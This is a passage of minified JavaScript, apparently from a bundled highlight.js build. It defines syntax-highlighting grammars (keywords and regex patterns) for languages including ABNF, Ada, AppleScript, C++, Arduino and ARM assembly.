K={ruleDeclaration:/^[a-zA-Z][a-zA-Z0-9-]*/,unexpectedChars:/[!@#$^&',?+~`|:]/},q=["ALPHA","BIT","CHAR","CR","CRLF","CTL","DIGIT","DQUOTE","HEXDIG","HTAB","LF","LWSP","OCTET","SP","VCHAR","WSP"],Y=A.COMMENT(/;/,/$/),z={className:"symbol",begin:/%b[0-1]+(-[0-1]+|(\.[0-1]+)+){0,1}/},w={className:"symbol",begin:/%d[0-9]+(-[0-9]+|(\.[0-9]+)+){0,1}/},H={className:"symbol",begin:/%x[0-9A-F]+(-[0-9A-F]+|(\.[0-9A-F]+)+){0,1}/},J={className:"symbol",begin:/%[si]/},O={className:"attribute",begin:Zjq(K.ruleDeclaration,/(?=\s*=)/)};return{name:"Augmented Backus-Naur Form",illegal:K.unexpectedChars,keywords:q,contains:[O,Y,z,w,H,J,A.QUOTE_STRING_MODE,A.NUMBER_MODE]}}pz8.exports=Wjq});var iz8=v((QEz,lz8)=>{function cz8(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function Djq(...A){return A.map((q)=>cz8(q)).join("")}function jjq(...A){return"("+A.map((q)=>cz8(q)).join("|")+")"}function Mjq(A){let K=["GET","POST","HEAD","PUT","DELETE","CONNECT","OPTIONS","PATCH","TRACE"];return{name:"Apache Access Log",contains:[{className:"number",begin:/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(:\d{1,5})?\b/,relevance:5},{className:"number",begin:/\b\d+\b/,relevance:0},{className:"string",begin:Djq(/"/,jjq(...K)),end:/"/,keywords:K,illegal:/\n/,relevance:5,contains:[{begin:/HTTP\/[12]\.\d'/,relevance:5}]},{className:"string",begin:/\[\d[^\]\n]{8,}\]/,illegal:/\n/,relevance:1},{className:"string",begin:/\[/,end:/\]/,illegal:/\n/,relevance:0},{className:"string",begin:/"Mozilla\/\d\.\d \(/,end:/"/,illegal:/\n/,relevance:3},{className:"string",begin:/"/,end:/"/,illegal:/\n/,relevance:0}]}}lz8.exports=Mjq});var rz8=v((UEz,nz8)=>{function Pjq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function Vjq(...A){return A.map((q)=>Pjq(q)).join("")}function fjq(A){let K=/[a-zA-Z_$][a-zA-Z0-9_$]*/,q=/([*]|[a-zA-Z_$][a-zA-Z0-9_$]*)/,Y={className:"rest_arg",begin:/[.]{3}/,end:K,relevance:10};return{name:"ActionScript",aliases:["as"],keywords:{keyword:"as break case catch class const continue default delete do dynamic each else extends final finally for function get if implements import in include instanceof interface internal is namespace native new override package private protected public return set static super switch this throw try typeof use var void while with",literal:"true false null undefined"},contains:[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.C_NUMBER_MODE,{className:"class",beginKeywords:"package",end:/\{/,contains:[A.TITLE_MODE]},{className:"class",beginKeywords:"class interface",end:/\{/,excludeEnd:!0,contains:[{beginKeywords:"extends implements"},A.TITLE_MODE]},{className:"meta",beginKeywords:"import include",end:/;/,keywords:{"meta-keyword":"import include"}},{className:"function",beginKeywords:"function",end:/[{;]/,excludeEnd:!0,illegal:/\S/,contains:[A.TITLE_MODE,{className:"params",begin:/\(/,end:/\)/,contains:[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,Y]},{begin:Vjq(/:\s*/,q)}]},A.METHOD_GUARD],illegal:/#/}}nz8.exports=fjq});var az8=v((pEz,oz8)=>{function Njq(A){let q="[eE][-+]?\\d(_|\\d)*",Y="\\d(_|\\d)*(\\.\\d(_|\\d)*)?("+q+")?",z="\\w+",H="\\b("+("\\d(_|\\d)*#\\w+(\\.\\w+)?#("+q+")?")+"|"+Y+")",J="[A-Za-z](_?[A-Za-z0-9.])*",O=`[]\\{\\}%#'"`,X=A.COMMENT("--","$"),$={begin:"\\s+:\\s+",end:"\\s*(:=|;|\\)|=>|$)",illegal:`[]\\{\\}%#'"`,contains:[{beginKeywords:"loop for declare others",endsParent:!0},{className:"keyword",beginKeywords:"not null constant access function procedure in out aliased exception"},{className:"type",begin:"[A-Za-z](_?[A-Za-z0-9.])*",endsParent:!0,relevance:0}]};return{name:"Ada",case_insensitive:!0,keywords:{keyword:"abort else new return abs elsif not reverse abstract end accept entry select access exception of separate aliased exit or some all others subtype and for out synchronized array function overriding at tagged generic package task begin goto pragma terminate body private then if procedure type case in protected constant interface is raise use declare range delay limited record when delta loop rem while digits renames with do mod requeue xor",literal:"True False"},contains:[X,{className:"string",begin:/"/,end:/"/,contains:[{begin:/""/,relevance:0}]},{className:"string",begin:/'.'/},{className:"number",begin:H,relevance:0},{className:"symbol",begin:"'[A-Za-z](_?[A-Za-z0-9.])*"},{className:"title",begin:"(\\bwith\\s+)?(\\bprivate\\s+)?\\bpackage\\s+(\\bbody\\s+)?",end:"(is|$)",keywords:"package body",excludeBegin:!0,excludeEnd:!0,illegal:`[]\\{\\}%#'"`},{begin:"(\\b(with|overriding)\\s+)?\\b(function|procedure)\\s+",end:"(\\bis|\\bwith|\\brenames|\\)\\s*;)",keywords:"overriding function procedure with is renames return",returnBegin:!0,contains:[X,{className:"title",begin:"(\\bwith\\s+)?\\b(function|procedure)\\s+",end:"(\\(|\\s+|$)",excludeBegin:!0,excludeEnd:!0,illegal:`[]\\{\\}%#'"`},$,{className:"type",begin:"\\breturn\\s+",end:"(\\s+|;|$)",keywords:"return",excludeBegin:!0,excludeEnd:!0,endsParent:!0,illegal:`[]\\{\\}%#'"`}]},{className:"type",begin:"\\b(sub)?type\\s+",end:"\\s+",keywords:"type",excludeBegin:!0,illegal:`[]\\{\\}%#'"`},$]}}oz8.exports=Njq});var tz8=v((dEz,sz8)=>{function Tjq(A){var K={className:"built_in",begin:"\\b(void|bool|int|int8|int16|int32|int64|uint|uint8|uint16|uint32|uint64|string|ref|array|double|float|auto|dictionary)"},q={className:"symbol",begin:"[a-zA-Z0-9_]+@"},Y={className:"keyword",begin:"<",end:">",contains:[K,q]};return K.contains=[Y],q.contains=[Y],{name:"AngelScript",aliases:["asc"],keywords:"for in|0 break continue while do|0 return if else case switch namespace is cast or and xor not get|0 in inout|10 out override set|0 private public const default|0 final shared external mixin|10 enum typedef funcdef this super import from interface abstract|0 try catch protected explicit property",illegal:"(^using\\s+[A-Za-z0-9_\\.]+;$|\\bfunction\\s*[^\\(])",contains:[{className:"string",begin:"'",end:"'",illegal:"\\n",contains:[A.BACKSLASH_ESCAPE],relevance:0},{className:"string",begin:'"""',end:'"""'},{className:"string",begin:'"',end:'"',illegal:"\\n",contains:[A.BACKSLASH_ESCAPE],relevance:0},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,{className:"string",begin:"^\\s*\\[",end:"\\]"},{beginKeywords:"interface namespace",end:/\{/,illegal:"[;.\\-]",contains:[{className:"symbol",begin:"[a-zA-Z0-9_]+"}]},{beginKeywords:"class",end:/\{/,illegal:"[;.\\-]",contains:[{className:"symbol",begin:"[a-zA-Z0-9_]+",contains:[{begin:"[:,]\\s*",contains:[{className:"symbol",begin:"[a-zA-Z0-9_]+"}]}]}]},K,q,{className:"literal",begin:"\\b(null|true|false)"},{className:"number",relevance:0,begin:"(-?)(\\b0[xXbBoOdD][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?f?|\\.\\d+f?)([eE][-+]?\\d+f?)?)"}]}}sz8.exports=Tjq});var Aw8=v((cEz,ez8)=>{function vjq(A){let K={className:"number",begin:/[$%]\d+/},q={className:"number",begin:/\d+/},Y={className:"number",begin:/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(:\d{1,5})?/},z={className:"number",begin:/:\d{1,5}/};return{name:"Apache config",aliases:["apacheconf"],case_insensitive:!0,contains:[A.HASH_COMMENT_MODE,{className:"section",begin:/<\/?/,end:/>/,contains:[Y,z,A.inherit(A.QUOTE_STRING_MODE,{relevance:0})]},{className:"attribute",begin:/\w+/,relevance:0,keywords:{nomarkup:"order deny allow setenv rewriterule rewriteengine rewritecond documentroot sethandler errordocument loadmodule options header listen serverroot servername"},starts:{end:/$/,relevance:0,keywords:{literal:"on off all deny allow"},contains:[{className:"meta",begin:/\s\[/,end:/\]$/},{className:"variable",begin:/[\$%]\{/,end:/\}/,contains:["self",K]},Y,q,A.QUOTE_STRING_MODE]}}],illegal:/\S/}}ez8.exports=vjq});var ww8=v((lEz,zw8)=>{function Yw8(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function Kw8(...A){return A.map((q)=>Yw8(q)).join("")}function qw8(...A){return"("+A.map((q)=>Yw8(q)).join("|")+")"}function Ejq(A){let K=A.inherit(A.QUOTE_STRING_MODE,{illegal:null}),q={className:"params",begin:/\(/,end:/\)/,contains:["self",A.C_NUMBER_MODE,K]},Y=A.COMMENT(/--/,/$/),z=A.COMMENT(/\(\*/,/\*\)/,{contains:["self",Y]}),w=[Y,z,A.HASH_COMMENT_MODE],H=[/apart from/,/aside from/,/instead of/,/out of/,/greater than/,/isn't|(doesn't|does not) (equal|come before|come after|contain)/,/(greater|less) than( or equal)?/,/(starts?|ends|begins?) with/,/contained by/,/comes (before|after)/,/a (ref|reference)/,/POSIX (file|path)/,/(date|time) string/,/quoted form/],J=[/clipboard info/,/the clipboard/,/info for/,/list (disks|folder)/,/mount volume/,/path to/,/(close|open for) access/,/(get|set) eof/,/current date/,/do shell script/,/get volume settings/,/random number/,/set volume/,/system attribute/,/system info/,/time to GMT/,/(load|run|store) script/,/scripting components/,/ASCII (character|number)/,/localized string/,/choose (application|color|file|file name|folder|from list|remote application|URL)/,/display (alert|dialog)/];return{name:"AppleScript",aliases:["osascript"],keywords:{keyword:"about above after against and around as at back before beginning behind below beneath beside between but by considering contain contains continue copy div does eighth else end equal equals error every exit fifth first for fourth from front get given global if ignoring in into is it its last local me middle mod my ninth not of on onto or over prop property put ref reference repeat returning script second set seventh since sixth some tell tenth that the|0 then third through thru timeout times to transaction try until where while whose with without",literal:"AppleScript false linefeed return pi quote result space tab true",built_in:"alias application boolean class constant date file integer list number real record string text activate beep count delay launch log offset read round run say summarize write character characters contents day frontmost id item length month name paragraph paragraphs rest reverse running time version weekday word words year"},contains:[K,A.C_NUMBER_MODE,{className:"built_in",begin:Kw8(/\b/,qw8(...J),/\b/)},{className:"built_in",begin:/^\s*return\b/},{className:"literal",begin:/\b(text item delimiters|current application|missing value)\b/},{className:"keyword",begin:Kw8(/\b/,qw8(...H),/\b/)},{beginKeywords:"on",illegal:/[${=;\n]/,contains:[A.UNDERSCORE_TITLE_MODE,q]},...w],illegal:/\/\/|->|=>|\[\[/}}zw8.exports=Ejq});var Jw8=v((iEz,Hw8)=>{function kjq(A){let q={keyword:"if for while var new function do return void else break",literal:"BackSlash DoubleQuote false ForwardSlash Infinity NaN NewLine null PI SingleQuote Tab TextFormatting true undefined",built_in:"Abs Acos Angle Attachments Area AreaGeodetic Asin Atan Atan2 Average Bearing Boolean Buffer BufferGeodetic Ceil Centroid Clip Console Constrain Contains Cos Count Crosses Cut Date DateAdd DateDiff Day Decode DefaultValue Dictionary Difference Disjoint Distance DistanceGeodetic Distinct DomainCode DomainName Equals Exp Extent Feature FeatureSet FeatureSetByAssociation FeatureSetById FeatureSetByPortalItem FeatureSetByRelationshipName FeatureSetByTitle FeatureSetByUrl Filter First Floor Geometry GroupBy Guid HasKey Hour IIf IndexOf Intersection Intersects IsEmpty IsNan IsSelfIntersecting Length LengthGeodetic Log Max Mean Millisecond Min Minute Month MultiPartToSinglePart Multipoint NextSequenceValue Now Number OrderBy Overlaps Point Polygon Polyline Portal Pow Random Relate Reverse RingIsClockWise Round Second SetGeometry Sin Sort Sqrt Stdev Sum SymmetricDifference Tan Text Timestamp Today ToLocal Top Touches ToUTC TrackCurrentTime TrackGeometryWindow TrackIndex TrackStartTime TrackWindow TypeOf Union UrlEncode Variance Weekday When Within Year "},Y={className:"symbol",begin:"\\$[datastore|feature|layer|map|measure|sourcefeature|sourcelayer|targetfeature|targetlayer|value|view]+"},z={className:"number",variants:[{begin:"\\b(0[bB][01]+)"},{begin:"\\b(0[oO][0-7]+)"},{begin:A.C_NUMBER_RE}],relevance:0},w={className:"subst",begin:"\\$\\{",end:"\\}",keywords:q,contains:[]},H={className:"string",begin:"`",end:"`",contains:[A.BACKSLASH_ESCAPE,w]};w.contains=[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,H,z,A.REGEXP_MODE];let J=w.contains.concat([A.C_BLOCK_COMMENT_MODE,A.C_LINE_COMMENT_MODE]);return{name:"ArcGIS Arcade",keywords:q,contains:[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,H,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,Y,z,{begin:/[{,]\s*/,relevance:0,contains:[{begin:"[A-Za-z_][0-9A-Za-z_]*\\s*:",returnBegin:!0,relevance:0,contains:[{className:"attr",begin:"[A-Za-z_][0-9A-Za-z_]*",relevance:0}]}]},{begin:"("+A.RE_STARTERS_RE+"|\\b(return)\\b)\\s*",keywords:"return",contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.REGEXP_MODE,{className:"function",begin:"(\\(.*?\\)|[A-Za-z_][0-9A-Za-z_]*)\\s*=>",returnBegin:!0,end:"\\s*=>",contains:[{className:"params",variants:[{begin:"[A-Za-z_][0-9A-Za-z_]*"},{begin:/\(\s*\)/},{begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:q,contains:J}]}]}],relevance:0},{className:"function",beginKeywords:"function",end:/\{/,excludeEnd:!0,contains:[A.inherit(A.TITLE_MODE,{begin:"[A-Za-z_][0-9A-Za-z_]*"}),{className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,contains:J}],illegal:/\[|%/},{begin:/\$[(.]/}],illegal:/#(?!!)/}}Hw8.exports=kjq});var Xw8=v((nEz,Ow8)=>{function Cjq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function Ljq(A){return Hx1("(?=",A,")")}function WaA(A){return Hx1("(",A,")?")}function Hx1(...A){return A.map((q)=>Cjq(q)).join("")}function Rjq(A){let K=A.COMMENT("//","$",{contains:[{begin:/\\\n/}]}),q="decltype\\(auto\\)",Y="[a-zA-Z_]\\w*::",z="<[^<>]+>",w="(decltype\\(auto\\)|"+WaA("[a-zA-Z_]\\w*::")+"[a-zA-Z_]\\w*"+WaA("<[^<>]+>")+")",H={className:"keyword",begin:"\\b[a-z\\d_]*_t\\b"},J="\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)",O={className:"string",variants:[{begin:'(u8?|U|L)?"',end:'"',illegal:"\\n",contains:[A.BACKSLASH_ESCAPE]},{begin:"(u8?|U|L)?'(\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)|.)",end:"'",illegal:"."},A.END_SAME_AS_BEGIN({begin:/(?:u8?|U|L)?R"([^()\\ ]{0,16})\(/,end:/\)([^()\\ ]{0,16})"/})]},X={className:"number",variants:[{begin:"\\b(0b[01']+)"},{begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)((ll|LL|l|L)(u|U)?|(u|U)(ll|LL|l|L)?|f|F|b|B)"},{begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],relevance:0},$={className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{"meta-keyword":"if else elif endif define undef warning error line pragma _Pragma ifdef ifndef include"},contains:[{begin:/\\\n/,relevance:0},A.inherit(O,{className:"meta-string"}),{className:"meta-string",begin:/<.*?>/},K,A.C_BLOCK_COMMENT_MODE]},_={className:"title",begin:WaA("[a-zA-Z_]\\w*::")+A.IDENT_RE,relevance:0},G=WaA("[a-zA-Z_]\\w*::")+A.IDENT_RE+"\\s*\\(",W={keyword:"int float while private char char8_t char16_t char32_t catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid wchar_t short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignas alignof constexpr consteval constinit decltype concept co_await co_return co_yield requires noexcept static_assert thread_local restrict final override atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and and_eq bitand bitor compl not not_eq or or_eq xor xor_eq",built_in:"_Bool _Complex _Imaginary",_relevance_hints:["asin","atan2","atan","calloc","ceil","cosh","cos","exit","exp","fabs","floor","fmod","fprintf","fputs","free","frexp","auto_ptr","deque","list","queue","stack","vector","map","set","pair","bitset","multiset","multimap","unordered_set","fscanf","future","isalnum","isalpha","iscntrl","isdigit","isgraph","islower","isprint","ispunct","isspace","isupper","isxdigit","tolower","toupper","labs","ldexp","log10","log","malloc","realloc","memchr","memcmp","memcpy","memset","modf","pow","printf","putchar","puts","scanf","sinh","sin","snprintf","sprintf","sqrt","sscanf","strcat","strchr","strcmp","strcpy","strcspn","strlen","strncat","strncmp","strncpy","strpbrk","strrchr","strspn","strstr","tanh","tan","unordered_map","unordered_multiset","unordered_multimap","priority_queue","make_pair","array","shared_ptr","abort","terminate","abs","acos","vfprintf","vprintf","vsprintf","endl","initializer_list","unique_ptr","complex","imaginary","std","string","wstring","cin","cout","cerr","clog","stdin","stdout","stderr","stringstream","istringstream","ostringstream"],literal:"true false nullptr NULL"},D={className:"function.dispatch",relevance:0,keywords:W,begin:Hx1(/\b/,/(?!decltype)/,/(?!if)/,/(?!for)/,/(?!while)/,A.IDENT_RE,Ljq(/\s*\(/))},j=[D,$,H,K,A.C_BLOCK_COMMENT_MODE,X,O],M={variants:[{begin:/=/,end:/;/},{begin:/\(/,end:/\)/},{beginKeywords:"new throw return else",end:/;/}],keywords:W,contains:j.concat([{begin:/\(/,end:/\)/,keywords:W,contains:j.concat(["self"]),relevance:0}]),relevance:0},P={className:"function",begin:"("+w+"[\\*&\\s]+)+"+G,returnBegin:!0,end:/[{;=]/,excludeEnd:!0,keywords:W,illegal:/[^\w\s\*&:<>.]/,contains:[{begin:"decltype\\(auto\\)",keywords:W,relevance:0},{begin:G,returnBegin:!0,contains:[_],relevance:0},{begin:/::/,relevance:0},{begin:/:/,endsWithParent:!0,contains:[O,X]},{className:"params",begin:/\(/,end:/\)/,keywords:W,relevance:0,contains:[K,A.C_BLOCK_COMMENT_MODE,O,X,H,{begin:/\(/,end:/\)/,keywords:W,relevance:0,contains:["self",K,A.C_BLOCK_COMMENT_MODE,O,X,H]}]},H,K,A.C_BLOCK_COMMENT_MODE,$]};return{name:"C++",aliases:["cc","c++","h++","hpp","hh","hxx","cxx"],keywords:W,illegal:"</",classNameAliases:{"function.dispatch":"built_in"},contains:[].concat(M,P,D,j,[$,{begin:"\\b(deque|list|queue|priority_queue|pair|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\s*<",end:">",keywords:W,contains:["self",H]},{begin:A.IDENT_RE+"::",keywords:W},{className:"class",beginKeywords:"enum class struct union",end:/[{;:<>=]/,contains:[{beginKeywords:"final class struct"},A.TITLE_MODE]}]),exports:{preprocessor:$,strings:O,keywords:W}}}function yjq(A){let K={keyword:"boolean byte word String",built_in:"KeyboardController MouseController SoftwareSerial EthernetServer EthernetClient LiquidCrystal RobotControl GSMVoiceCall EthernetUDP EsploraTFT HttpClient RobotMotor WiFiClient GSMScanner FileSystem Scheduler GSMServer YunClient YunServer IPAddress GSMClient GSMModem Keyboard Ethernet Console GSMBand Esplora Stepper Process WiFiUDP GSM_SMS Mailbox USBHost Firmata PImage Client Server GSMPIN FileIO Bridge Serial EEPROM Stream Mouse Audio Servo File Task GPRS WiFi Wire TFT GSM SPI SD ",_:"setup loop runShellCommandAsynchronously analogWriteResolution retrieveCallingNumber printFirmwareVersion analogReadResolution sendDigitalPortPair noListenOnLocalhost readJoystickButton setFirmwareVersion readJoystickSwitch scrollDisplayRight getVoiceCallStatus scrollDisplayLeft writeMicroseconds delayMicroseconds beginTransmission getSignalStrength runAsynchronously getAsynchronously listenOnLocalhost getCurrentCarrier readAccelerometer messageAvailable sendDigitalPorts lineFollowConfig countryNameWrite runShellCommand readStringUntil rewindDirectory readTemperature setClockDivider readLightSensor endTransmission analogReference detachInterrupt countryNameRead attachInterrupt encryptionType readBytesUntil robotNameWrite readMicrophone robotNameRead cityNameWrite userNameWrite readJoystickY readJoystickX mouseReleased openNextFile scanNetworks noInterrupts digitalWrite beginSpeaker mousePressed isActionDone mouseDragged displayLogos noAutoscroll addParameter remoteNumber getModifiers keyboardRead userNameRead waitContinue processInput parseCommand printVersion readNetworks writeMessage blinkVersion cityNameRead readMessage setDataMode parsePacket isListening setBitOrder beginPacket isDirectory motorsWrite drawCompass digitalRead clearScreen serialEvent rightToLeft setTextSize leftToRight requestFrom keyReleased compassRead analogWrite interrupts WiFiServer disconnect playMelody parseFloat autoscroll getPINUsed setPINUsed setTimeout sendAnalog readSlider analogRead beginWrite createChar motorsStop keyPressed tempoWrite readButton subnetMask debugPrint macAddress writeGreen randomSeed attachGPRS readString sendString remotePort releaseAll mouseMoved background getXChange getYChange answerCall getResult voiceCall endPacket constrain getSocket writeJSON getButton available connected findUntil readBytes exitValue readGreen writeBlue startLoop IPAddress isPressed sendSysex pauseMode gatewayIP setCursor getOemKey tuneWrite noDisplay loadImage switchPIN onRequest onReceive changePIN playFile noBuffer parseInt overflow checkPIN knobRead beginTFT bitClear updateIR bitWrite position writeRGB highByte writeRed setSpeed readBlue noStroke remoteIP transfer shutdown hangCall beginSMS endWrite attached maintain noCursor checkReg checkPUK shiftOut isValid shiftIn pulseIn connect println localIP pinMode getIMEI display noBlink process getBand running beginSD drawBMP lowByte setBand release bitRead prepare pointTo readRed setMode noFill remove listen stroke detach attach noTone exists buffer height bitSet circle config cursor random IRread setDNS endSMS getKey micros millis begin print write ready flush width isPIN blink clear press mkdir rmdir close point yield image BSSID click delay read text move peek beep rect line open seek fill size turn stop home find step tone sqrt RSSI SSID end bit tan cos sin pow map abs max min get run put",literal:"DIGITAL_MESSAGE FIRMATA_STRING ANALOG_MESSAGE REPORT_DIGITAL REPORT_ANALOG INPUT_PULLUP SET_PIN_MODE INTERNAL2V56 SYSTEM_RESET LED_BUILTIN INTERNAL1V1 SYSEX_START INTERNAL EXTERNAL DEFAULT OUTPUT INPUT HIGH LOW"},q=Rjq(A),Y=q.keywords;return Y.keyword+=" "+K.keyword,Y.literal+=" "+K.literal,Y.built_in+=" "+K.built_in,Y._+=" "+K._,q.name="Arduino",q.aliases=["ino"],q.supersetOf="cpp",q}Ow8.exports=yjq});var _w8=v((rEz,$w8)=>{function Ijq(A){let K={variants:[A.COMMENT("^[ \\t]*(?=#)","$",{relevance:0,excludeBegin:!0}),A.COMMENT("[;@]","$",{relevance:0}),A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]};return{name:"ARM Assembly",case_insensitive:!0,aliases:["arm"],keywords:{$pattern:"\\.?"+A.IDENT_RE,meta:".2byte .4byte .align .ascii .asciz .balign .byte .code .data .else .end .endif .endm .endr .equ .err .exitm .extern .global .hword .if .ifdef .ifndef .include .irp .long .macro .rept .req .section .set .skip .space .text .word .arm .thumb .code16 .code32 .force_thumb .thumb_func .ltorg ALIAS ALIGN ARM AREA ASSERT ATTR CN CODE CODE16 CODE32 COMMON CP DATA DCB DCD DCDU DCDO DCFD DCFDU DCI DCQ DCQU DCW DCWU DN ELIF ELSE END ENDFUNC ENDIF ENDP ENTRY EQU EXPORT EXPORTAS EXTERN FIELD FILL FUNCTION GBLA GBLL GBLS GET GLOBAL IF IMPORT INCBIN INCLUDE INFO KEEP LCLA LCLL LCLS LTORG MACRO MAP MEND MEXIT NOFP OPT PRESERVE8 PROC QN READONLY RELOC REQUIRE REQUIRE8 RLIST FN ROUT SETA SETL SETS SN SPACE SUBT THUMB THUMBX TTL WHILE WEND ",built_in:"r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15 pc lr sp ip sl sb fp a1 a2 a3 a4 v1 v2 v3 v4 v5 v6 v7 v8 f0 f1 f2 f3 f4 f5 f6 f7 p0 p1 p2 p3 p4 p5 p6 p7 p8 p9 p10 p11 p12 p13 p14 p15 c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 c10 c11 c12 c13 c14 c15 q0 q1 q2 q3 q4 q5 q6 q7 q8 q9 q10 q11 q12 q13 q14 q15 cpsr_c cpsr_x cpsr_s cpsr_f cpsr_cx cpsr_cxs cpsr_xs cpsr_xsf cpsr_sf cpsr_cxsf spsr_c spsr_x spsr_s spsr_f spsr_cx spsr_cxs spsr_xs spsr_xsf spsr_sf spsr_cxsf s0 s1 s2 s3 s4 s5 s6 s7 s8 s9 s10 s11 s12 s13 s14 s15 s16 s17 s18 s19 s20 s21 s22 s23 s24 s25 s26 s27 s28 s29 s30 s31 d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 d10 d11 d12 d13 d14 d15 d16 d17 d18 d19 d20 d21 d22 d23 d24 d25 d26 d27 d28 d29 d30 d31 {PC} {VAR} {TRUE} {FALSE} {OPT} {CONFIG} {ENDIAN} {CODESIZE} {CPU} {FPU} {ARCHITECTURE} {PCSTOREOFFSET} {ARMASM_VERSION} {INTER} {ROPI} {RWPI} {SWST} {NOSWST} . @"},contains:[{className:"keyword",begin:"\\b(adc|(qd?|sh?|u[qh]?)?add(8|16)?|usada?8|(q|sh?|u[qh]?)?(as|sa)x|and|adrl?|sbc|rs[bc]|asr|b[lx]?|blx|bxj|cbn?z|tb[bh]|bic|bfc|bfi|[su]bfx|bkpt|cdp2?|clz|clrex|cmp|cmn|cpsi[ed]|cps|setend|dbg|dmb|dsb|eor|isb|it[te]{0,3}|lsl|lsr|ror|rrx|ldm(([id][ab])|f[ds])?|ldr((s|ex)?[bhd])?|movt?|mvn|mra|mar|mul|[us]mull|smul[bwt][bt]|smu[as]d|smmul|smmla|mla|umlaal|smlal?([wbt][bt]|d)|mls|smlsl?[ds]|smc|svc|sev|mia([bt]{2}|ph)?|mrr?c2?|mcrr2?|mrs|msr|orr|orn|pkh(tb|bt)|rbit|rev(16|sh)?|sel|[su]sat(16)?|nop|pop|push|rfe([id][ab])?|stm([id][ab])?|str(ex)?[bhd]?|(qd?)?sub|(sh?|q|u[qh]?)?sub(8|16)|[su]xt(a?h|a?b(16)?)|srs([id][ab])?|swpb?|swi|smi|tst|teq|wfe|wfi|yield)(eq|ne|cs|cc|mi|pl|vs|vc|hi|ls|ge|lt|gt|le|al|hs|lo)?[sptrx]?(?=\\s)"},K,A.QUOTE_STRING_MODE,{className:"string",begin:"'",end:"[^\\\\]'",relevance:0},{className:"title",begin:"\\|",end:"\\|",illegal:"\\n",relevance:0},{className:"number",variants:[{begin:"[#$=]?0x[0-9a-f]+"},{begin:"[#$=]?0b[01]+"},{begin:"[#$=]\\d+"},{begin:"\\b\\d+"}],relevance:0},{className:"symbol",variants:[{begin:"^[ \\t]*[a-z_\\.\\$][a-z0-9_\\.\\$]+:"},{begin:"^[a-z_\\.\\$][a-z0-9_\\.\\$]+"},{begin:"[=#]\\w+"}],relevance:0}]}}$w8.exports=Ijq});var Dw8=v((oEz,Ww8)=>{function Zw8(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function Gw8(A){return g1A("(?=",A,")")}function Sjq(A){return g1A("(",A,")?")}function g1A(...A){return A.map((q)=>Zw8(q)).join("")}function hjq(...A){return"("+A.map((q)=>Zw8(q)).join("|")+")"}function bjq(A){let K=g1A(/[A-Z_]/,Sjq(/[A-Z0-9_.-]*:/),/[A-Z0-9_.-]*/),q=/[A-Za-z0-9._:-]+/,Y={className:"symbol",begin:/&[a-z]+;|&#[0-9]+;|&#x[a-f0-9]+;/},z={begin:/\s/,contains:[{className:"meta-keyword",begin:/#?[a-z_][a-z1-9_-]+/,illegal:/\n/}]},w=A.inherit(z,{begin:/\(/,end:/\)/}),H=A.inherit(A.APOS_STRING_MODE,{className:"meta-string"}),J=A.inherit(A.QUOTE_STRING_MODE,{className:"meta-string"}),O={endsWithParent:!0,illegal:/</,relevance:0,contains:[{className:"attr",begin:q,relevance:0},{begin:/=\s*/,relevance:0,contains:[{className:"string",endsParent:!0,variants:[{begin:/"/,end:/"/,contains:[Y]},{begin:/'/,end:/'/,contains:[Y]},{begin:/[^\s"'=<>`]+/}]}]}]};return{name:"HTML, XML",aliases:["html","xhtml","rss","atom","xjb","xsd","xsl","plist","wsf","svg"],case_insensitive:!0,contains:[{className:"meta",begin:/<![a-z]/,end:/>/,relevance:10,contains:[z,J,H,w,{begin:/\[/,end:/\]/,contains:[{className:"meta",begin:/<![a-z]/,end:/>/,contains:[z,w,J,H]}]}]},A.COMMENT(/<!--/,/-->/,{relevance:10}),{begin:/<!\[CDATA\[/,end:/\]\]>/,relevance:10},Y,{className:"meta",begin:/<\?xml/,end:/\?>/,relevance:10},{className:"tag",begin:/<style(?=\s|>)/,end:/>/,keywords:{name:"style"},contains:[O],starts:{end:/<\/style>/,returnEnd:!0,subLanguage:["css","xml"]}},{className:"tag",begin:/<script(?=\s|>)/,end:/>/,keywords:{name:"script"},contains:[O],starts:{end:/<\/script>/,returnEnd:!0,subLanguage:["javascript","handlebars","xml"]}},{className:"tag",begin:/<>|<\/>/},{className:"tag",begin:g1A(/</,Gw8(g1A(K,hjq(/\/>/,/>/,/\s/)))),end:/\/?>/,contains:[{className:"name",begin:K,relevance:0,starts:O}]},{